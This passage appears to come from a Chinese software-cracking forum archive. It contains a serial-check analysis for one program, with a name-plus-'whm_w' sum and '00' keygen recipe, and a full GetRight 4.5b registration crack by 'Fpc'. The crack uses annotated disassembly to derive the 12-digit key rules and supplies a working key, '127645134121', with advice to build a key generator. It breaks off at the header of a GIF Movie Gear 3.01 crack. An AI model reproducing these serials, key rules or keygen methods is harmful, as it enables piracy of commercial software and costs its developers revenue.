0177:004052AC MOV ECX,[ESP+28] <=====后两位注册码的十进制值
0177:004052B0 MOV EAX,[ESP+18] <=====前几位注册码的十进制值
0177:004052B4 XOR EBP,ECX　　　　　<=====异或运算，结果放入EBP
0177:004052B6 CMP EAX,EBP　　　　　<=====再与姓名累加的值(EAX)进行比较
0177:004052B8 JNZ NEAR 004053D1　　<=====不相等就跳走，OVER
0177:004052BE CMP EDI,BYTE +01
0177:004052C1 JC NEAR 004053D1
0177:004052C7 CMP EBX,BYTE +01
0177:004052CA JC NEAR 004053D1
整理一下注册码计算过程：
  1、将姓名小写并加上后缀"whm_w"，计算各字母的累加值；
  2、将输入的注册码去后两位后转化成十进制；
  3、将输入的注册码的后两位转化成十进制；
  4、将第2步与第3步的结果异或；
  5、用1的结果与4的结果进行比较，相等则注册有效。
  由于计算中没有明码，所以无法直接找到注册码。但第4步异或操作可以看出，只要后两位的注册码为00，那么第4步的结果一定是第2步的结果！也就是说，你的注册码就可以这样生成：用你的姓名（小写）＋"whm_w"并计算各字母的累加值，并在这个值的后面加上两个0，就可以得到你的注册码了！如输入姓名"maomao"，"maomaowhm_w"的计算结果为1180，则注册码为118000。哈哈，原来这么简单！


GetRight 4.5b

 标 题:GetRight 4.5b 注册分析 (33千字)
发信人:Fpc
时 间:2001-12-9 19:36:55
详细信息:
GetRight 4.5b注册分析
by Fpc/CCG&BCG @2001/12

tools: trw1.23, Wdasm 8.93

软件名称：GetRight
整理日期：2001.12.8
最新版本：4.5b
文件大小：2136KB
软件授权：共享软件
使用平台：Win9x/Me/NT/2000
本地下载：hXtp://sd.onlinedown.net/down/getrt45b.exe
软件简介：
    GetRight 是目前最好用的浏览器下载工具，可让你用浏览器下载文件时有续传功能 (状态视窗会显示对方站台支持续传的情形)，免除临时有事需暂停下载或突然断线必须从头传起的困扰附有时间排程工具，可设定时间来下载文件或是中断 Modem 拨接。可设定文件下载完毕时自 动中断 Modem 拨接或是关机。可设定若文件下载中途发生断线时自动拨号上线并继续完成下载。有 Mirror Site List功能，可在 Server timeout 时自动转到其他 Server来下载文件。

安装时可以选择输入注册码，但跟了半天也找不到。安装后运行，关于，~~只需输入注册码：123654，##$$，注册码不合法。用trw设断点：bpx hmemcpy，再输入后，拦下来，慢慢跟，你可以到这里。注意到在此之前它会与一个假码比较，两者一致则立即失败

:00401986 68F8675900 push 005967F8

* Possible StringData Ref from Data Obj ->"RegistrationCode"
|
:0040198B 68A04B5800 push 00584BA0
:00401990 8D45E8 lea eax, dword ptr [ebp-18]

* Possible StringData Ref from Data Obj ->"Config"
|
:00401993 686C4B5800 push 00584B6C
:00401998 50 push eax
:00401999 B9A0695900 mov ecx, 005969A0
:0040199E E879C71100 call 0051E11C
:004019A3 FF30 push dword ptr [eax]
:004019A5 8D45EC lea eax, dword ptr [ebp-14]
:004019A8 C645FC03 mov [ebp-04], 03

* Possible StringData Ref from Data Obj ->"%s"
|
:004019AC 689C4B5800 push 00584B9C
:004019B1 50 push eax
:004019B2 E8CCAE1000 call 0050C883
:004019B7 83C40C add esp, 0000000C
:004019BA 8D4DE8 lea ecx, dword ptr [ebp-18]
:004019BD C645FC02 mov [ebp-04], 02
:004019C1 E872161100 call 00513038

:004019C6 8D4DEC lea ecx, dword ptr [ebp-14] <- 输入的注册码
:004019C9 E8E21A0A00 call 004A34B0 <- 这里是关键，追进去

:004019CE 85C0 test eax, eax <- 如果eax==0就失败了
:004019D0 7458 je 00401A2A <- 这里不能跳

* Possible Reference to String Resource ID=00327: "You Have Registered GetRight. Thank You!"
|
:004019D2 6847010000 push 00000147
:004019D7 8D4DF0 lea ecx, dword ptr [ebp-10]
:004019DA E8801C1100 call 0051365F
:004019DF FF75F0 push [ebp-10]
:004019E2 8D8E94040000 lea ecx, dword ptr [esi+00000494]
:004019E8 E8F80C1100 call 005126E5
:004019ED 53 push ebx
:004019EE 8D8EC4010000 lea ecx, dword ptr [esi+000001C4]
:004019F4 E8080E1100 call 00512801
:004019F9 53 push ebx

... ...

进入那个call，我们来看看，计算过程倒很长，不过不复杂：

* Referenced by a CALL at Addresses: <- 很多处调用这个注册判断
|:00401760 , :004019C9 , :0041238B , :004125E9 , :00415445
|:004228F2 , :00426C44 , :004337E9 , :004350A3 , :0043A9D5
|:0043DB00 , :00452CD2 , :004633E4 , :004638F7 , :004A9FE3
|:004AA2AE , :004ABD2D , :004C7EF7 , :004C8481 , :004CC0AD
|:004D38B0 , :004EF549 , :004F2DC6
|
:004A34B0 55 push ebp
:004A34B1 8BEC mov ebp, esp
:004A34B3 83EC14 sub esp, 00000014
:004A34B6 53 push ebx
:004A34B7 57 push edi

* Possible Reference to Menu: MenuID_0001
|

* Possible Ref to Menu: MenuID_00B4, Item: "OK"
|
:004A34B8 6A01 push 00000001
:004A34BA 8BD9 mov ebx, ecx
:004A34BC 5F pop edi <- edi=1
:004A34BD 897DF8 mov dword ptr [ebp-08], edi <- [ebp-8]是个注册标志，为1表示注册成功
:004A34C0 E863940600 call 0050C928
:004A34C5 8BCB mov ecx, ebx
:004A34C7 E813940600 call 0050C8DF
:004A34CC 8B03 mov eax, dword ptr [ebx]
:004A34CE 8378F80C cmp dword ptr [eax-08], 0000000C <- 注册码是否为C个字符
:004A34D2 7407 je 004A34DB
:004A34D4 33C0 xor eax, eax
:004A34D6 E9D9040000 jmp 004A39B4 <- 不是则eax清零去死

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A34D2(C)
|
:004A34DB 56 push esi
:004A34DC 57 push edi
:004A34DD 8D45F4 lea eax, dword ptr [ebp-0C]
:004A34E0 6A05 push 00000005 <- 取第 5 个字符，注意位置从0开始
:004A34E2 50 push eax <- 保存到这里
:004A34E3 8BCB mov ecx, ebx <- 输入的注册码
:004A34E5 E8348F0600 call 0050C41E <- 这个call反复用到，作用是取一个字符

:004A34EA FF30 push dword ptr [eax] <- 取出的一个字符
:004A34EC E8AF950500 call 004FCAA0 <- char->int到eax
:004A34F1 59 pop ecx
:004A34F2 8BF0 mov esi, eax <- 保存
:004A34F4 8D4DF4 lea ecx, dword ptr [ebp-0C]
:004A34F7 8975F0 mov dword ptr [ebp-10], esi <- 保存
:004A34FA E839FB0600 call 00513038
:004A34FF 57 push edi
:004A3500 8D45EC lea eax, dword ptr [ebp-14]
:004A3503 6A08 push 00000008 <- 第 8 个
:004A3505 50 push eax
:004A3506 8BCB mov ecx, ebx
:004A3508 E8118F0600 call 0050C41E

:004A350D FF30 push dword ptr [eax]
:004A350F E88C950500 call 004FCAA0 <- char to int
:004A3514 59 pop ecx
:004A3515 8945F4 mov dword ptr [ebp-0C], eax <- 保存
:004A3518 8D4DEC lea ecx, dword ptr [ebp-14]
:004A351B E818FB0600 call 00513038
:004A3520 8B45F4 mov eax, dword ptr [ebp-0C]
:004A3523 6A0A push 0000000A
:004A3525 03C6 add eax, esi <- eax=int(Irc[5])+int(Irc[8])
:004A3527 59 pop ecx <- ecx=10
:004A3528 99 cdq
:004A3529 F7F9 idiv ecx
:004A352B 83FA09 cmp edx, 00000009 <- 余数是否为9
:004A352E 7404 je 004A3534 <- 正确则跳

:004A3530 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A352E(C)
|
:004A3534 837DF000 cmp dword ptr [ebp-10], 00000000 <- 注册码相应位置是否为0

* Possible StringData Ref from Data Obj ->"00"
|
:004A3538 BEFCC35800 mov esi, 0058C3FC
:004A353D 7533 jne 004A3572 <- 不为0则正确，跳走

:004A353F 57 push edi <- 否则会有麻烦，这下面我没细看
:004A3540 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Menu: MenuID_0005
|
:004A3543 6A05 push 00000005
:004A3545 50 push eax
:004A3546 8BCB mov ecx, ebx
:004A3548 E8D18E0600 call 0050C41E
:004A354D 56 push esi
:004A354E FF30 push dword ptr [eax]
:004A3550 E8EB830500 call 004FB940
:004A3555 F7D8 neg eax
:004A3557 59 pop ecx
:004A3558 1BC0 sbb eax, eax
:004A355A 59 pop ecx
:004A355B F7D8 neg eax
:004A355D 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3560 8845FF mov byte ptr [ebp-01], al
:004A3563 E8D0FA0600 call 00513038
:004A3568 807DFF00 cmp byte ptr [ebp-01], 00
:004A356C 7404 je 004A3572
:004A356E 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A353D(C), :004A356C(C)
|
:004A3572 837DF400 cmp dword ptr [ebp-0C], 00000000 <- 另一位置是否不为0
:004A3576 7533 jne 004A35AB <- 正确则跳走

简单说明上面这一段：
假设输入了注册码：912345678912，第5个是5，第8个是8，相加13，只要这个和对10取模为9即可，比如8改为4满足要求。

继续：

:004A3578 57 push edi
:004A3579 8D45EC lea eax, dword ptr [ebp-14]
:004A357C 6A08 push 00000008
:004A357E 50 push eax
:004A357F 8BCB mov ecx, ebx
:004A3581 E8988E0600 call 0050C41E
:004A3586 56 push esi
:004A3587 FF30 push dword ptr [eax]
:004A3589 E8B2830500 call 004FB940
:004A358E F7D8 neg eax
:004A3590 59 pop ecx
:004A3591 1BC0 sbb eax, eax
:004A3593 59 pop ecx
:004A3594 F7D8 neg eax
:004A3596 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3599 8845FF mov byte ptr [ebp-01], al
:004A359C E897FA0600 call 00513038
:004A35A1 807DFF00 cmp byte ptr [ebp-01], 00
:004A35A5 7404 je 004A35AB
:004A35A7 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A3576(C), :004A35A5(C)
|
:004A35AB 57 push edi
:004A35AC 8D45EC lea eax, dword ptr [ebp-14]
:004A35AF 57 push edi <- 第 1 个
:004A35B0 50 push eax
:004A35B1 8BCB mov ecx, ebx
:004A35B3 E8668E0600 call 0050C41E
:004A35B8 FF30 push dword ptr [eax]
:004A35BA E8E1940500 call 004FCAA0
:004A35BF 59 pop ecx
:004A35C0 8945F0 mov dword ptr [ebp-10], eax
:004A35C3 8D4DEC lea ecx, dword ptr [ebp-14]
:004A35C6 E86DFA0600 call 00513038
:004A35CB 57 push edi
:004A35CC 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_010C, CONTROL_ID:0006, "Yes"
|
:004A35CF 6A06 push 00000006 <- 第 6 个
:004A35D1 50 push eax
:004A35D2 8BCB mov ecx, ebx
:004A35D4 E8458E0600 call 0050C41E
:004A35D9 FF30 push dword ptr [eax]
:004A35DB E8C0940500 call 004FCAA0
:004A35E0 59 pop ecx
:004A35E1 8945F4 mov dword ptr [ebp-0C], eax
:004A35E4 8D4DEC lea ecx, dword ptr [ebp-14]
:004A35E7 E84CFA0600 call 00513038
:004A35EC 837DF000 cmp dword ptr [ebp-10], 00000000
:004A35F0 7532 jne 004A3624 <- 跳走

:004A35F2 57 push edi
:004A35F3 8D45EC lea eax, dword ptr [ebp-14]
:004A35F6 57 push edi
:004A35F7 50 push eax
:004A35F8 8BCB mov ecx, ebx
:004A35FA E81F8E0600 call 0050C41E
:004A35FF 56 push esi
:004A3600 FF30 push dword ptr [eax]
:004A3602 E839830500 call 004FB940
:004A3607 F7D8 neg eax
:004A3609 59 pop ecx
:004A360A 1BC0 sbb eax, eax
:004A360C 59 pop ecx
:004A360D F7D8 neg eax
:004A360F 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3612 8845FF mov byte ptr [ebp-01], al
:004A3615 E81EFA0600 call 00513038
:004A361A 807DFF00 cmp byte ptr [ebp-01], 00
:004A361E 7404 je 004A3624
:004A3620 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A35F0(C), :004A361E(C)
|
:004A3624 837DF400 cmp dword ptr [ebp-0C], 00000000
:004A3628 7533 jne 004A365D <- 跳走

:004A362A 57 push edi
:004A362B 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_010C, CONTROL_ID:0006, "Yes"
|
:004A362E 6A06 push 00000006
:004A3630 50 push eax
:004A3631 8BCB mov ecx, ebx
:004A3633 E8E68D0600 call 0050C41E
:004A3638 56 push esi
:004A3639 FF30 push dword ptr [eax]
:004A363B E800830500 call 004FB940
:004A3640 F7D8 neg eax
:004A3642 59 pop ecx
:004A3643 1BC0 sbb eax, eax
:004A3645 59 pop ecx
:004A3646 F7D8 neg eax
:004A3648 8D4DEC lea ecx, dword ptr [ebp-14]
:004A364B 8845FF mov byte ptr [ebp-01], al
:004A364E E8E5F90600 call 00513038
:004A3653 807DFF00 cmp byte ptr [ebp-01], 00
:004A3657 7404 je 004A365D
:004A3659 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A3628(C), :004A3657(C)
|
:004A365D 8B45F0 mov eax, dword ptr [ebp-10]
:004A3660 8B4DF4 mov ecx, dword ptr [ebp-0C]
:004A3663 03C1 add eax, ecx
:004A3665 6A0A push 0000000A
:004A3667 99 cdq
:004A3668 59 pop ecx
:004A3669 F7F9 idiv ecx
:004A366B 83FA03 cmp edx, 00000003 <- 余数应为3
:004A366E 7404 je 004A3674
:004A3670 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A366E(C)
|
:004A3674 57 push edi
:004A3675 8D45EC lea eax, dword ptr [ebp-14]
:004A3678 6A02 push 00000002 <- 第 2 个
:004A367A 50 push eax
:004A367B 8BCB mov ecx, ebx
:004A367D E89C8D0600 call 0050C41E
:004A3682 FF30 push dword ptr [eax]
:004A3684 E817940500 call 004FCAA0
:004A3689 59 pop ecx
:004A368A 8945F0 mov dword ptr [ebp-10], eax
:004A368D 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3690 E8A3F90600 call 00513038
:004A3695 57 push edi
:004A3696 8D45EC lea eax, dword ptr [ebp-14]
:004A3699 6A0B push 0000000B <- 第 11 个(最后一个)
:004A369B 50 push eax
:004A369C 8BCB mov ecx, ebx
:004A369E E87B8D0600 call 0050C41E
:004A36A3 FF30 push dword ptr [eax]
:004A36A5 E8F6930500 call 004FCAA0
:004A36AA 59 pop ecx
:004A36AB 8945F4 mov dword ptr [ebp-0C], eax
:004A36AE 8D4DEC lea ecx, dword ptr [ebp-14]
:004A36B1 E882F90600 call 00513038
:004A36B6 8B45F0 mov eax, dword ptr [ebp-10]
:004A36B9 8B4DF4 mov ecx, dword ptr [ebp-0C]
:004A36BC 03C1 add eax, ecx
:004A36BE 6A0A push 0000000A
:004A36C0 99 cdq
:004A36C1 59 pop ecx
:004A36C2 F7F9 idiv ecx
:004A36C4 83FA08 cmp edx, 00000008 <- 余数为 8
:004A36C7 7404 je 004A36CD
:004A36C9 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A36C7(C)
|
:004A36CD 837DF000 cmp dword ptr [ebp-10], 00000000
:004A36D1 7533 jne 004A3706 <- 跳走

:004A36D3 57 push edi
:004A36D4 8D45EC lea eax, dword ptr [ebp-14]
:004A36D7 6A02 push 00000002
:004A36D9 50 push eax
:004A36DA 8BCB mov ecx, ebx
:004A36DC E83D8D0600 call 0050C41E
:004A36E1 56 push esi
:004A36E2 FF30 push dword ptr [eax]
:004A36E4 E857820500 call 004FB940
:004A36E9 F7D8 neg eax
:004A36EB 59 pop ecx
:004A36EC 1BC0 sbb eax, eax
:004A36EE 59 pop ecx
:004A36EF F7D8 neg eax
:004A36F1 8D4DEC lea ecx, dword ptr [ebp-14]
:004A36F4 8845FF mov byte ptr [ebp-01], al
:004A36F7 E83CF90600 call 00513038
:004A36FC 807DFF00 cmp byte ptr [ebp-01], 00
:004A3700 7404 je 004A3706
:004A3702 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A36D1(C), :004A3700(C)
|
:004A3706 837DF400 cmp dword ptr [ebp-0C], 00000000
:004A370A 7533 jne 004A373F <- 跳走

:004A370C 57 push edi
:004A370D 8D45EC lea eax, dword ptr [ebp-14]
:004A3710 6A0B push 0000000B
:004A3712 50 push eax
:004A3713 8BCB mov ecx, ebx
:004A3715 E8048D0600 call 0050C41E
:004A371A 56 push esi
:004A371B FF30 push dword ptr [eax]
:004A371D E81E820500 call 004FB940
:004A3722 F7D8 neg eax
:004A3724 59 pop ecx
:004A3725 1BC0 sbb eax, eax
:004A3727 59 pop ecx
:004A3728 F7D8 neg eax
:004A372A 8D4DEC lea ecx, dword ptr [ebp-14]
:004A372D 8845FF mov byte ptr [ebp-01], al
:004A3730 E803F90600 call 00513038
:004A3735 807DFF00 cmp byte ptr [ebp-01], 00
:004A3739 7404 je 004A373F
:004A373B 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A370A(C), :004A3739(C)
|
:004A373F 57 push edi
:004A3740 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_0099, CONTROL_ID:0003, "OK && Remember"
|
:004A3743 6A03 push 00000003 <- 第 3 个
:004A3745 50 push eax
:004A3746 8BCB mov ecx, ebx
:004A3748 E8D18C0600 call 0050C41E
:004A374D FF30 push dword ptr [eax]
:004A374F E84C930500 call 004FCAA0
:004A3754 59 pop ecx
:004A3755 8945F0 mov dword ptr [ebp-10], eax
:004A3758 8D4DEC lea ecx, dword ptr [ebp-14]
:004A375B E8D8F80600 call 00513038
:004A3760 57 push edi
:004A3761 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Menu: MenuID_0004
|

* Possible Reference to Dialog: DialogID_014E, CONTROL_ID:0004, "Switch and use the Full options for
"
|
:004A3764 6A04 push 00000004 <- 第 4 个
:004A3766 50 push eax
:004A3767 8BCB mov ecx, ebx
:004A3769 E8B08C0600 call 0050C41E
:004A376E FF30 push dword ptr [eax]
:004A3770 E82B930500 call 004FCAA0
:004A3775 59 pop ecx
:004A3776 8945F4 mov dword ptr [ebp-0C], eax
:004A3779 8D4DEC lea ecx, dword ptr [ebp-14]
:004A377C E8B7F80600 call 00513038
:004A3781 8B45F0 mov eax, dword ptr [ebp-10]
:004A3784 8B4DF4 mov ecx, dword ptr [ebp-0C]
:004A3787 03C1 add eax, ecx
:004A3789 6A0A push 0000000A
:004A378B 99 cdq
:004A378C 59 pop ecx
:004A378D F7F9 idiv ecx
:004A378F 85D2 test edx, edx
:004A3791 7404 je 004A3797 <-余数应为 0
:004A3793 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A3791(C)
|
:004A3797 837DF000 cmp dword ptr [ebp-10], 00000000
:004A379B 7533 jne 004A37D0 <- 跳走

:004A379D 57 push edi
:004A379E 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_0099, CONTROL_ID:0003, "OK && Remember"
|
:004A37A1 6A03 push 00000003
:004A37A3 50 push eax
:004A37A4 8BCB mov ecx, ebx
:004A37A6 E8738C0600 call 0050C41E
:004A37AB 56 push esi
:004A37AC FF30 push dword ptr [eax]
:004A37AE E88D810500 call 004FB940
:004A37B3 F7D8 neg eax
:004A37B5 59 pop ecx
:004A37B6 1BC0 sbb eax, eax
:004A37B8 59 pop ecx
:004A37B9 F7D8 neg eax
:004A37BB 8D4DEC lea ecx, dword ptr [ebp-14]
:004A37BE 8845FF mov byte ptr [ebp-01], al
:004A37C1 E872F80600 call 00513038
:004A37C6 807DFF00 cmp byte ptr [ebp-01], 00
:004A37CA 7404 je 004A37D0
:004A37CC 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A379B(C), :004A37CA(C)
|
:004A37D0 837DF400 cmp dword ptr [ebp-0C], 00000000
:004A37D4 7533 jne 004A3809 <- 跳走

:004A37D6 57 push edi
:004A37D7 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Menu: MenuID_0004
|

* Possible Reference to Dialog: DialogID_014E, CONTROL_ID:0004, "Switch and use the Full options for
"
|
:004A37DA 6A04 push 00000004
:004A37DC 50 push eax
:004A37DD 8BCB mov ecx, ebx
:004A37DF E83A8C0600 call 0050C41E
:004A37E4 56 push esi
:004A37E5 FF30 push dword ptr [eax]
:004A37E7 E854810500 call 004FB940
:004A37EC F7D8 neg eax
:004A37EE 59 pop ecx
:004A37EF 1BC0 sbb eax, eax
:004A37F1 59 pop ecx
:004A37F2 F7D8 neg eax
:004A37F4 8D4DEC lea ecx, dword ptr [ebp-14]
:004A37F7 8845FF mov byte ptr [ebp-01], al
:004A37FA E839F80600 call 00513038
:004A37FF 807DFF00 cmp byte ptr [ebp-01], 00
:004A3803 7404 je 004A3809
:004A3805 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A37D4(C), :004A3803(C)
|
:004A3809 57 push edi
:004A380A 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_010C, CONTROL_ID:0007, "No"
|
:004A380D 6A07 push 00000007 <- 第 7 个
:004A380F 50 push eax
:004A3810 8BCB mov ecx, ebx
:004A3812 E8078C0600 call 0050C41E
:004A3817 FF30 push dword ptr [eax]
:004A3819 E882920500 call 004FCAA0
:004A381E 59 pop ecx
:004A381F 8945F0 mov dword ptr [ebp-10], eax
:004A3822 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3825 E80EF80600 call 00513038
:004A382A 57 push edi
:004A382B 8D45EC lea eax, dword ptr [ebp-14]
:004A382E 6A0A push 0000000A <- 第 10 个
:004A3830 50 push eax
:004A3831 8BCB mov ecx, ebx
:004A3833 E8E68B0600 call 0050C41E
:004A3838 FF30 push dword ptr [eax]
:004A383A E861920500 call 004FCAA0
:004A383F 59 pop ecx
:004A3840 8945F4 mov dword ptr [ebp-0C], eax
:004A3843 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3846 E8EDF70600 call 00513038
:004A384B 8B45F0 mov eax, dword ptr [ebp-10]
:004A384E 8B4DF4 mov ecx, dword ptr [ebp-0C]
:004A3851 03C1 add eax, ecx
:004A3853 6A0A push 0000000A
:004A3855 99 cdq
:004A3856 59 pop ecx
:004A3857 F7F9 idiv ecx
:004A3859 83FA05 cmp edx, 00000005 <- 余数为 5
:004A385C 7404 je 004A3862
:004A385E 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A385C(C)
|
:004A3862 837DF000 cmp dword ptr [ebp-10], 00000000
:004A3866 7533 jne 004A389B <- 跳走

:004A3868 57 push edi
:004A3869 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_010C, CONTROL_ID:0007, "No"
|
:004A386C 6A07 push 00000007
:004A386E 50 push eax
:004A386F 8BCB mov ecx, ebx
:004A3871 E8A88B0600 call 0050C41E
:004A3876 56 push esi
:004A3877 FF30 push dword ptr [eax]
:004A3879 E8C2800500 call 004FB940
:004A387E F7D8 neg eax
:004A3880 59 pop ecx
:004A3881 1BC0 sbb eax, eax
:004A3883 59 pop ecx
:004A3884 F7D8 neg eax
:004A3886 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3889 8845FF mov byte ptr [ebp-01], al
:004A388C E8A7F70600 call 00513038
:004A3891 807DFF00 cmp byte ptr [ebp-01], 00
:004A3895 7404 je 004A389B
:004A3897 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A3866(C), :004A3895(C)
|
:004A389B 837DF400 cmp dword ptr [ebp-0C], 00000000
:004A389F 7533 jne 004A38D4 <- 跳走

:004A38A1 57 push edi
:004A38A2 8D45EC lea eax, dword ptr [ebp-14]
:004A38A5 6A0A push 0000000A
:004A38A7 50 push eax
:004A38A8 8BCB mov ecx, ebx
:004A38AA E86F8B0600 call 0050C41E
:004A38AF 56 push esi
:004A38B0 FF30 push dword ptr [eax]
:004A38B2 E889800500 call 004FB940
:004A38B7 F7D8 neg eax
:004A38B9 59 pop ecx
:004A38BA 1BC0 sbb eax, eax
:004A38BC 59 pop ecx
:004A38BD F7D8 neg eax
:004A38BF 8D4DEC lea ecx, dword ptr [ebp-14]
:004A38C2 8845FF mov byte ptr [ebp-01], al
:004A38C5 E86EF70600 call 00513038
:004A38CA 807DFF00 cmp byte ptr [ebp-01], 00
:004A38CE 7404 je 004A38D4
:004A38D0 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A389F(C), :004A38CE(C)
|
:004A38D4 57 push edi
:004A38D5 8D45EC lea eax, dword ptr [ebp-14]
:004A38D8 6A00 push 00000000 <- 第 0 个
:004A38DA 50 push eax
:004A38DB 8BCB mov ecx, ebx
:004A38DD E83C8B0600 call 0050C41E
:004A38E2 FF30 push dword ptr [eax]
:004A38E4 E8B7910500 call 004FCAA0
:004A38E9 59 pop ecx
:004A38EA 8945F0 mov dword ptr [ebp-10], eax
:004A38ED 8D4DEC lea ecx, dword ptr [ebp-14]
:004A38F0 E843F70600 call 00513038
:004A38F5 57 push edi
:004A38F6 8D45EC lea eax, dword ptr [ebp-14]
* Possible Reference to Dialog: DialogID_00A0, CONTROL_ID:0009, "Help"
|
:004A38F9 6A09 push 00000009 <- 第 9 个
:004A38FB 50 push eax
:004A38FC 8BCB mov ecx, ebx
:004A38FE E81B8B0600 call 0050C41E
:004A3903 FF30 push dword ptr [eax]
:004A3905 E896910500 call 004FCAA0
:004A390A 59 pop ecx
:004A390B 8945F4 mov dword ptr [ebp-0C], eax
:004A390E 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3911 E822F70600 call 00513038
:004A3916 8B45F0 mov eax, dword ptr [ebp-10]
:004A3919 8B4DF4 mov ecx, dword ptr [ebp-0C]
:004A391C 03C1 add eax, ecx
:004A391E 6A0A push 0000000A
:004A3920 99 cdq
:004A3921 59 pop ecx
:004A3922 F7F9 idiv ecx
:004A3924 83FA02 cmp edx, 00000002 <- 余数为 2
:004A3927 7404 je 004A392D

:004A3929 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A3927(C)
|
:004A392D 837DF000 cmp dword ptr [ebp-10], 00000000
:004A3931 7533 jne 004A3966 <- 跳走

:004A3933 57 push edi
:004A3934 8D45EC lea eax, dword ptr [ebp-14]
:004A3937 6A00 push 00000000
:004A3939 50 push eax
:004A393A 8BCB mov ecx, ebx
:004A393C E8DD8A0600 call 0050C41E
:004A3941 56 push esi
:004A3942 FF30 push dword ptr [eax]
:004A3944 E8F77F0500 call 004FB940
:004A3949 F7D8 neg eax
:004A394B 59 pop ecx
:004A394C 1BC0 sbb eax, eax
:004A394E 59 pop ecx
:004A394F F7D8 neg eax
:004A3951 8D4DEC lea ecx, dword ptr [ebp-14]
:004A3954 8845FF mov byte ptr [ebp-01], al
:004A3957 E8DCF60600 call 00513038
:004A395C 807DFF00 cmp byte ptr [ebp-01], 00
:004A3960 7404 je 004A3966
:004A3962 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A3931(C), :004A3960(C)
|
:004A3966 837DF400 cmp dword ptr [ebp-0C], 00000000
:004A396A 7533 jne 004A399F <- 跳走

:004A396C 57 push edi
:004A396D 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_00A0, CONTROL_ID:0009, "Help"
|
:004A3970 6A09 push 00000009
:004A3972 50 push eax
:004A3973 8BCB mov ecx, ebx
:004A3975 E8A48A0600 call 0050C41E
:004A397A 56 push esi
:004A397B FF30 push dword ptr [eax]
:004A397D E8BE7F0500 call 004FB940
:004A3982 F7D8 neg eax
:004A3984 59 pop ecx
:004A3985 1BC0 sbb eax, eax
:004A3987 59 pop ecx
:004A3988 F7D8 neg eax
:004A398A 8D4DEC lea ecx, dword ptr [ebp-14]
:004A398D 8845FF mov byte ptr [ebp-01], al
:004A3990 E8A3F60600 call 00513038
:004A3995 807DFF00 cmp byte ptr [ebp-01], 00
:004A3999 7404 je 004A399F
:004A399B 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A396A(C), :004A3999(C)
|
:004A399F 57 push edi <- 到这里
:004A39A0 57 push edi
:004A39A1 8BCB mov ecx, ebx
:004A39A3 E810000000 call 004A39B8
:004A39A8 85C0 test eax, eax
:004A39AA 7404 je 004A39B0 <- 这里会跳走

:004A39AC 8365F800 and dword ptr [ebp-08], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A39AA(C)
|
:004A39B0 8B45F8 mov eax, dword ptr [ebp-08] <- eax=[ebp-8]，如果注册码符合条件，eax=1，否则eax=0
:004A39B3 5E pop esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A34D6(U)
|
:004A39B4 5F pop edi
:004A39B5 5B pop ebx
:004A39B6 C9 leave
:004A39B7 C3 ret <- 返回

总结一下：
设输入的注册码为Irc[]，那么
strlen(Irc)应为0xC;
(Irc[5]+Irc[8])%10==9;
(Irc[1]+Irc[6])%10==3;
(Irc[2]+Irc[11])%10==8;
(Irc[3]+Irc[4])%10==0;
(Irc[7]+Irc[10])%10==5;
(Irc[0]+Irc[9])%10==2;
同时最好没有0出现;

可用的注册码：127645134121
写注册机用随机数，找出满足条件的即可。


GIF Movie Gear 3.01

 标 题:破解GIF Movie Gear 3.01 (8千字)
发信人:VitaminC[抗坏血
时 间:2002-3-13 22:17:27
详细信息:
破解GIF Movie Gear 3.01:
